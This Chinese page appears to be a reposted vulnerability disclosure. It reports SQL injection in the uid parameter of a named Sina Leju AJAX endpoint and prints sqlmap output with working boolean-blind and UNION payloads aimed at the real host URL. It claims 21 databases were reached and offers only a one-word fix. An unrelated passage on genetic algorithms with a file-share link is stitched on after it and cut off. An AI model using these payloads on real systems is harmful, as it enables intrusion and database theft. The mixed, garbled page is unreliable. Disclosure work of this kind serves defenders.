ajax漏洞 sql注入,新浪乐居某接口SQL注入漏洞网站安全分享!

本文探讨了新浪乐居某接口存在的SQL注入漏洞,详细介绍了布尔盲注和联合查询注入的payload。针对这一问题,提出了过滤解决方案,强调了网络安全与数据库防护的重要性。

新浪乐居某接口SQL注入漏洞url:

http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=8156628

uid处存在注入payload:

sqlmap resumed the following injection point(s) from stored session:

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind – WHERE or HAVING clause

Payload: http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=8156628 AND 7795=7795

Type: UNION query

Title: Generic UNION query (NULL) – 14 columns

Payload: http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=-7870 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a7a71,0x6f7144787564564c774166636561577a69695971786e6d547a735a78707451435079596e4f6b666f,0x717a6a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– –

21库

表好多

解决方案:

过虑

先展示下效果 https://pan.quark.cn/s/a4b39357ea24 遗传算法 - 简书 遗传算法的理论是根据达尔文进化论而设计出来的算法: 人类是朝着好的方向(最优解)进化,进化过程中,会自动选择优良基因,淘汰劣等基因。 遗传算法(英语:genetic algorithm (GA) )是计算数学中用于解决最佳化的搜索算法,是进化算法的一种。 进化算法最初是借鉴了进化生物学中的一些现象而发展起来的,这些现象包括遗传、突变、自然选择、杂交等。 搜索算法的共同特征为: 首先组成一组候选解 依据某些适应性条件测算这些候选解的适应度 根据适应度保留某些候选解,放弃其他候选解 对保留的候选解进行某些操作,生成新的候选解 遗传算法流程 遗传算法的一般步骤 my_fitness函数 评估每条染色体所对应个体的适应度 升序排列适应度评估值,选出 前 parent_number 个 个体作为 待选 parent 种群(适应度函数的值越小越好) 从 待选 parent 种群 中随机选择 2 个个体作为父方和母方。 抽取父母双方的染色体,进行交叉,产生 2 个子代。 (交叉概率) 对子代(parent + 生成的 child)的染色体进行变异。 (变异概率) 重复3,4,5步骤,直到新种群(parentnumber + childnumber)的产生。 循环以上步骤直至找到满意的解。 名词解释 交叉概率:两个个体进行交配的概率。 例如,交配概率为0.8,则80%的“夫妻”会生育后代。 变异概率:所有的基因中发生变异的占总体的比例。 GA函数 适应度函数 适应度函数由解决的问题决定。 举一个平方和的例子。 简单的平方和问题 求函数的最小值,其中每个变量的取值区间都是 [-1, ...
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